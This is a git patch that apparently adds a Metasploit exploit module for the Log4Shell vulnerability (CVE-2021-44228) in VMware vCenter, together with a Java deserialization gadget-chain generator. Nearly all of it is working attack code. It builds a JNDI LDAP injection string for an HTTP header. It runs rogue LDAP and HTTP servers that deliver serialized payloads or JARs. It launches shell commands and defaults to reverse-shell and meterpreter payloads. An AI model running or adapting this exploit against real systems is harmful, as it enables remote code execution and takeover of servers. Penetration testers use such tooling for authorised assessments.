From e873907d13cc644a3eaf42150104d558b2966dfd Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 12 Jan 2022 15:34:45 -0500 Subject: [PATCH] Initial vCenter exploit via Log4Shell --- .../util/java_deserialization/el_processor.rb | 287 +++++++++++++++ .../multi/http/vmware_vcenter_log4shell.rb | 346 ++++++++++++++++++ 2 files changed, 633 insertions(+) create mode 100644 lib/msf/util/java_deserialization/el_processor.rb create mode 100644 modules/exploits/multi/http/vmware_vcenter_log4shell.rb diff --git a/lib/msf/util/java_deserialization/el_processor.rb b/lib/msf/util/java_deserialization/el_processor.rb new file mode 100644 index 0000000000..4b3fb4feb9 --- /dev/null +++ b/lib/msf/util/java_deserialization/el_processor.rb @@ -0,0 +1,287 @@ +# -*- coding: binary -*- + +require 'stringio' +require 'rex/java' + +module Msf +module Util +class JavaDeserialization + class ElProcessor + + def self.generate(cmd, shell: nil) + js_escaped = "String.fromCharCode(#{cmd.each_char.map(&:ord).map(&:to_s).join(',')})" + + # emulate the same behavior as the ysoserial-modified series, + # see: https://github.com/pimps/ysoserial-modified/blob/1bd423d30ae87074f94d6b9b687c17162f122c3d/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11 + payload_string = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec(" + case shell + when 'cmd' + payload_string << "[\\\"cmd.exe\\\",\\\"/c\\\",#{js_escaped}]" + when 'bash' + payload_string << "[\\\"/bin/bash\\\",\\\"-c\\\",#{js_escaped}]" + when 'powershell' + payload_string << "[\\\"powershell.exe\\\",\\\"-c\\\",#{js_escaped}]" + when nil + payload_string << js_escaped + else + raise NotImplementedError, "unsupported shell: #{shell.inspect}" + end + payload_string << ")\")}" + + builder = Rex::Java::Serialization::Builder.new + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [ + builder.new_object( + name: 'org.apache.naming.ResourceRef', + serial: 1, + flags: 2, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + super_class: builder.new_class( + name: 'org.apache.naming.AbstractRef', + serial: 1, + flags: 2, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + super_class: builder.new_class( + name: 'javax.naming.Reference', + serial: 16773268283643759881, + flags: 2, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + ).tap { |new_class| + new_class.fields = [ + new_field(stream: stream, name: 'addrs', field_type: 'Ljava/util/Vector;'), + new_field(stream: stream, name: 'classFactory', field_type: 'Ljava/lang/String;'), + new_field(stream: stream, name: 'classFactoryLocation', field_type: new_ref(stream: stream, handle: 8257540)), + new_field(stream: stream, name: 'className', field_type: new_ref(stream: stream, handle: 8257540)) + ] + }, + ), + data: [ + builder.new_object( + name: 'java.util.Vector', + serial: 15679138459660562177, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + data: [ + ['int', 0], + ['int', 5], + # stream.contents.first.class_data[0].class_data[2] + builder.new_array( + values_type: 'java.lang.Object;', + name: '[Ljava.lang.Object;', + serial: 10434374826863044972, + flags: 2, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + # stream.contents.first.class_data[0].class_data[2].values + values: [ + # stream.contents.first.class_data[0].class_data[2].values[0] + builder.new_object( + name: 'javax.naming.StringRefAddr', + serial: 9532981578571046089, + flags: 2, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + super_class: builder.new_class( + name: 'javax.naming.RefAddr', + serial: 16978578953230397258, + flags: 2, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + ).tap { |new_class| + new_class.fields = [ + new_field(stream: stream, name: 'addrType', field_type: new_ref(stream: stream, handle: 8257540)) + ] + }, + data: [ + Rex::Java::Serialization::Model::Utf.new(stream, 'scope'), + Rex::Java::Serialization::Model::Utf.new(stream) + ] + ).tap { |new_object| + new_object.class_desc.description.fields = [ + new_field(stream: stream, name: 'contents', field_type: new_ref(stream: stream, handle: 8257540)) + ] + }, + # stream.contents.first.class_data[0].class_data[2].values[1] + builder.new_object( + description: new_ref(stream: stream, handle: 8257547), + data: [ + Rex::Java::Serialization::Model::Utf.new(stream, 'auth'), + new_ref(stream: stream, handle: 8257551) + ] + ), + builder.new_object( + description: new_ref(stream: stream, handle: 8257547), + data: [ + Rex::Java::Serialization::Model::Utf.new(stream, 'singleton'), + Rex::Java::Serialization::Model::Utf.new(stream, 'true'), + ] + ), + # stream.contents.first.class_data[0].class_data[2].values[3] + builder.new_object( + description: new_ref(stream: stream, handle: 8257547), + data: [ + Rex::Java::Serialization::Model::Utf.new(stream, 'forceString'), + Rex::Java::Serialization::Model::Utf.new(stream, 'x=eval'), + ] + ), + # stream.contents.first.class_data[0].class_data[2].values[4] + builder.new_object( + description: new_ref(stream: stream, handle: 8257547), + data: [ + Rex::Java::Serialization::Model::Utf.new(stream, 'x'), + Rex::Java::Serialization::Model::Utf.new(stream, payload_string), + ] + ), + # stream.contents.first.class_data[0].class_data[2].values[5] + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::NullReference.new, + ] + ) + ] + ).tap { |new_object| + new_object.class_desc.description.fields = [ + new_field(stream: stream, type: 'int', name: 'capacityIncrement'), + new_field(stream: stream, type: 'int', name: 'elementCount'), + new_field(stream: stream, type: 'array', name: 'elementData', field_type: '[Ljava/lang/Object;') + ] + }, + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(stream, 'org.apache.naming.factory.BeanFactory'), + Rex::Java::Serialization::Model::NullReference.new + ] + ), + Rex::Java::Serialization::Model::Utf.new(stream, 'javax.el.ELProcessor') + ] + stream.references = [ + builder.new_class( + name: 'org.apache.naming.ResourceRef', + serial: 1, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + super_class: builder.new_class( + name: 'org.apache.naming.AbstractRef', + serial: 1, + flags: 2, + super_class: builder.new_class( + name: 'javax.naming.Reference', + serial: 16773268283643759881, + flags: 2 + ) + ) + ), + builder.new_class( + name: 'org.apache.naming.AbstractRef', + serial: 1, + flags: 2, + super_class: builder.new_class( + name: 'javax.naming.Reference', + serial: 16773268283643759881, + flags: 2 + ) + ), + builder.new_class( + name: 'javax.naming.Reference', + serial: 16773268283643759881, + flags: 2, + ).tap { |new_class| + new_class.fields = [ + new_field(stream: stream, name: 'addrs', field_type: 'Ljava/util/Vector;'), + new_field(stream: stream, name: 'classFactory', field_type: 'Ljava/lang/String;'), + new_field(stream: stream, name: 'classFactoryLocation', field_type: new_ref(stream: stream, handle: 8257540)), + new_field(stream: stream, name: 'className', field_type: new_ref(stream: stream, handle: 8257540)) + ] + }, + Rex::Java::Serialization::Model::Utf.new(stream, 'Ljava/util/Vector;'), + Rex::Java::Serialization::Model::Utf.new(stream, 'Ljava/lang/String;'), + stream.contents[0], + builder.new_class( + name: 'java.util.Vector', + serial: 15679138459660562177, + flags: 3, + ).tap { |new_class| + new_class.fields = [ + new_field(stream: stream, type: 'int', name: 'capacityIncrement'), + new_field(stream: stream, type: 'int', name: 'elementCount'), + new_field(stream: stream, type: 'array', name: 'elementData', field_type: '[Ljava/lang/Object;'), + ] + }, + Rex::Java::Serialization::Model::Utf.new(stream, 'Ljava/lang/Object;'), + stream.contents[0].class_data[0], + builder.new_class( + name: '[Ljava.lang.Object;', + serial: 10434374826863044972, + flags: 2 + ), + stream.contents[0].class_data[0].class_data[2], + builder.new_class( + name: 'javax.naming.StringRefAddr', + serial: 10434374826863044972, + flags: 2, + super_class: builder.new_class( + name: 'javax.naming.RefAddr', + serial: 16978578953230397258, + flags: 2 + ).tap { |new_class| + new_class.fields = [ + new_field(stream: stream, name: 'addrType', field_type: new_ref(stream: stream, handle: 8257540)) + ] + }, + ).tap { |new_class| + new_class.fields = [ + new_field(stream: stream, name: 'contents', field_type: new_ref(stream: stream, handle: 8257540)) + ] + }, + builder.new_class( + name: 'javax.naming.RefAddr', + serial: 16978578953230397258, + flags: 2 + ).tap { |new_class| + new_class.fields = [ + new_field(stream: stream, name: 'addrType', field_type: new_ref(stream: stream, handle: 8257540)) + ] + }, + stream.contents.first.class_data[0].class_data[2].values[0], + Rex::Java::Serialization::Model::Utf.new(stream, 'scope'), + Rex::Java::Serialization::Model::Utf.new(stream, ''), + stream.contents.first.class_data[0].class_data[2].values[1], + stream.contents.first.class_data[0].class_data[2].values[1].class_data[0], + stream.contents.first.class_data[0].class_data[2].values[2], + stream.contents.first.class_data[0].class_data[2].values[2].class_data[0], + stream.contents.first.class_data[0].class_data[2].values[2].class_data[1], + stream.contents.first.class_data[0].class_data[2].values[3], + stream.contents.first.class_data[0].class_data[2].values[3].class_data[0], + stream.contents.first.class_data[0].class_data[2].values[3].class_data[1], + stream.contents.first.class_data[0].class_data[2].values[4], + stream.contents.first.class_data[0].class_data[2].values[4].class_data[0], + stream.contents.first.class_data[0].class_data[2].values[4].class_data[1], + Rex::Java::Serialization::Model::Utf.new(stream, 'org.apache.naming.factory.BeanFactory'), + Rex::Java::Serialization::Model::Utf.new(stream, 'javax.el.ELProcessor') + ] + + stream.encode + end + + def self.new_field(opts = {}) + name = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:name]) + if opts[:field_type].is_a? String + field_type = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:field_type]) + else + field_type = opts[:field_type] + end + + field = Rex::Java::Serialization::Model::Field.new + field.type = opts[:type] || 'object' + field.name = name + field.field_type = field_type + field + end + + def self.new_ref(opts = {}) + ref = Rex::Java::Serialization::Model::Reference.new(opts[:stream]) + ref.handle = opts[:handle] + + ref + end + end +end +end +end diff --git a/modules/exploits/multi/http/vmware_vcenter_log4shell.rb b/modules/exploits/multi/http/vmware_vcenter_log4shell.rb new file mode 100644 index 0000000000..ad7907d579 --- /dev/null +++ b/modules/exploits/multi/http/vmware_vcenter_log4shell.rb @@ -0,0 +1,346 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::JavaDeserialization + include Msf::Exploit::Java + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::LDAP::Server + include Msf::Exploit::Remote::CheckModule + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(_info = {}) + super( + 'Name' => 'Log4Shell HTTP Header Injection', + 'Description' => %q{ + Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, + log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints. + + This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that + will trigger an LDAP connection to Metasploit and load a payload. + + The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP + server in addition to the LDAP server that the target can connect to. The targeted application must have the + trusted code base option enabled for this technique to work. + + The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to + run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target + application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option. + }, + 'Author' => [ + 'Michael Schierl', # Technical guidance, examples, and patience - all of the Jedi stuff + 'juan vazquez', # 2011-3544 building blocks reused in this module + 'sinn3r', # 2011-3544 building blocks reused in this module + 'Spencer McIntyre', # Kickoff on 2021-44228 work, improvements, and polish required for formal acceptance + 'RageLtMan ' # Metasploit module and infrastructure + ], + 'References' => [ + [ 'CVE', '2021-44228' ], + ], + 'DisclosureDate' => '2021-12-09', + 'License' => MSF_LICENSE, + 'DefaultOptions' => { + 'SRVPORT' => 389, + 'WfsDelay' => 30, + 'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner' + }, + 'Targets' => [ + [ + 'Automatic', { + 'Platform' => 'java', + 'Arch' => [ARCH_JAVA], + 'RemoteLoad' => true, + 'DefaultOptions' => { + 'PAYLOAD' => 'java/shell_reverse_tcp' + } + } + ], + [ + 'Windows', { + 'Platform' => 'win', + 'RemoteLoad' => false, + 'DefaultOptions' => { + 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' + } + }, + ], + [ + 'Linux', { + 'Platform' => 'unix', + 'RemoteLoad' => false, + 'Arch' => [ARCH_CMD], + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + }, + ] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'AKA' => ['Log4Shell', 'LogJam'], + 'Reliability' => [REPEATABLE_SESSION], + 'RelatedModules' => [ 'auxiliary/scanner/http/log4shell_scanner' ] + }, + 'Stance' => Msf::Exploit::Stance::Aggressive + ) + register_options([ + OptString.new('TARGETURI', [ true, 'The URI to scan', '/']), + OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true]) + ]) + end + + def check + validate_configuration! + # set these scanner options as appropriate based on the config + datastore['URIS_FILE'] = nil + if !datastore['HTTP_HEADER'].blank? + datastore['HEADERS_FILE'] = nil + end + + @checkcode = super + end + + def jndi_string + "${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}" + end + + def resource_url_string + "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}" + end + + # + # Use Ruby Java bridge to create a Java-natively-serialized object + # + # @return [String] Marshalled serialized byteArray of the loader class + def byte_array_payload(pay_class = 'metasploit.PayloadFactory') + jar = generate_payload.encoded_jar + serialized_class_from_jar(jar, pay_class) + end + + # + # Insert PayloadFactory in Java payload JAR + # + # @param jar [Rex::Zip::Jar] payload JAR to update + # @return [Rex::Zip::Jar] updated payload JAR + def inject_jar_payload_factory(jar = generate_payload.encoded_jar) + # From exploits/multi/browser/java_rhino - should probably go to lib + paths = [ + [ 'metasploit/PayloadFactory.class' ] + ] + paths.each do |path| + 1.upto(path.length - 1) do |idx| + full = path[0, idx].join('/') + '/' + jar.add_file(full, '') unless jar.entries.map(&:name).include?(full) + end + File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd| + data = fd.read(fd.stat.size) + jar.add_file(path.join('/'), data) + end + end + jar + end + + # + # Generate and serialize the payload as an LDAP search response + # + # @param msg_id [Integer] LDAP message identifier + # @param base_dn [Sting] LDAP distinguished name + # + # @return [Array] packed BER sequence + def serialized_payload(msg_id, base_dn, pay_class = 'metasploit.PayloadFactory') + if target['RemoteLoad'] + attrs = [ + [ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence, + [ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence, + [ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence, + [ 'javaCodebase'.to_ber, [ resource_url_string.to_ber ].to_ber_set ].to_ber_sequence, + ] + else + # java_payload = generate_java_deserialization_for_payload(datastore['JAVA_GADGET_CHAIN'], payload) + java_payload = Msf::Util::JavaDeserialization::ElProcessor.generate(payload.encoded, shell: 'bash') + # vprint_good("Serialized java payload: #{java_payload}") + attrs = [ + [ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence, + [ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence + ] + end + appseq = [ + base_dn.to_ber, + attrs.to_ber_sequence + ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) + [ msg_id.to_ber, appseq ].to_ber_sequence + end + + ## LDAP service callbacks + # + # Handle incoming requests via service mixin + # + def on_dispatch_request(client, data) + return if data.strip.empty? + + data.extend(Net::BER::Extensions::String) + begin + pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax)) + vprint_status("LDAP request data remaining: #{data}") unless data.empty? + resp = case pdu.app_tag + when Net::LDAP::PDU::BindRequest # bind request + client.authenticated = true + service.encode_ldap_response( + pdu.message_id, + Net::LDAP::ResultCodeSuccess, + '', + '', + Net::LDAP::PDU::BindResult + ) + when Net::LDAP::PDU::SearchRequest # search request + if client.authenticated || datastore['LDAP_AUTH_BYPASS'] + client.write(serialized_payload(pdu.message_id, pdu.search_parameters[:base_object])) + service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult) + else + service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult) + end + else + vprint_status("Client sent unexpected request #{pdu.app_tag}") + client.close + end + resp.nil? ? client.close : on_send_response(client, resp) + rescue StandardError => e + print_error("Failed to handle LDAP request due to #{e}") + client.close + end + resp + end + + ## HTTP service callbacks + # + # Handle HTTP requests and responses + # + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + vprint_good("Payload requested by #{cli.peerhost} using #{agent}") + pay = regenerate_payload(cli) + jar = inject_jar_payload_factory(pay.encoded_jar) + send_response(cli, 200, 'OK', jar) + end + + # + # Create an HTTP response and then send it + # + def send_response(cli, code, message = 'OK', html = '') + proto = Rex::Proto::Http::DefaultProtocol + res = Rex::Proto::Http::Response.new(code, message, proto) + res['Content-Type'] = 'application/java-archive' + res.body = html + cli.send_response(res) + end + + def exploit + validate_configuration! + # LDAP service + start_service + # HTTP service + start_http_service if target['RemoteLoad'] + # HTTP request initiator + send_request_raw( + 'uri' => normalize_uri(target_uri, '/websso/SAML2/SSO/vsphere.local?SAMLRequest='), + 'headers' => { 'X-Forwarded-For' => jndi_string } + ) + sleep(datastore['WfsDelay']) + handler + ensure + cleanup + end + + # + # Kill HTTP & LDAP services (shut them down and clear resources) + # + def cleanup + # Clean and stop HTTP server + if @http_service + begin + @http_service.remove_resource(datastore['URIPATH']) + @http_service.deref + @http_service.stop + @http_service = nil + rescue StandardError => e + print_error("Failed to stop http server due to #{e}") + end + end + super + end + + private + + # Boilerplate HTTP service code + # + # Returns the configured (or random, if not configured) URI path + # + def resource_uri + path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar' + path = '/' + path if path !~ %r{^/} + if path !~ /\.jar$/ + print_status("Appending .jar extension to #{path} as we don't yet serve classpaths") + path += '.jar' + end + datastore['URIPATH'] = path + return path + end + + # + # Handle the HTTP request and return a response. Code borrowed from: + # msf/core/exploit/http/server.rb + # + def start_http_service(opts = {}) + comm = datastore['ListenerComm'] + if (comm.to_s == 'local') + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + # Default the server host / port + opts = { + 'ServerHost' => datastore['SRVHOST'], + 'ServerPort' => datastore['HTTP_SRVPORT'], + 'Comm' => comm + }.update(opts) + # Start a new HTTP server + @http_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + opts['ServerPort'].to_i, + opts['ServerHost'], + datastore['SSL'], + { + 'Msf' => framework, + 'MsfExploit' => self + }, + opts['Comm'], + datastore['SSLCert'] + ) + @http_service.server_name = datastore['HTTP::server_name'] + # Default the procedure of the URI to on_request_uri if one isn't + # provided. + uopts = { + 'Proc' => method(:on_request_uri), + 'Path' => resource_uri + }.update(opts['Uri'] || {}) + proto = (datastore['SSL'] ? 'https' : 'http') + print_status("Serving Java code on: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") + if (opts['ServerHost'] == '0.0.0.0') + print_status(" Local IP: #{proto}://#{Rex::Socket.source_address}:#{opts['ServerPort']}#{uopts['Path']}") + end + # Add path to resource + @service_path = uopts['Path'] + @http_service.add_resource(uopts['Path'], uopts) + end + + def validate_configuration! + fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST']) + if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck'] + fail_with(Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.') + end + end +end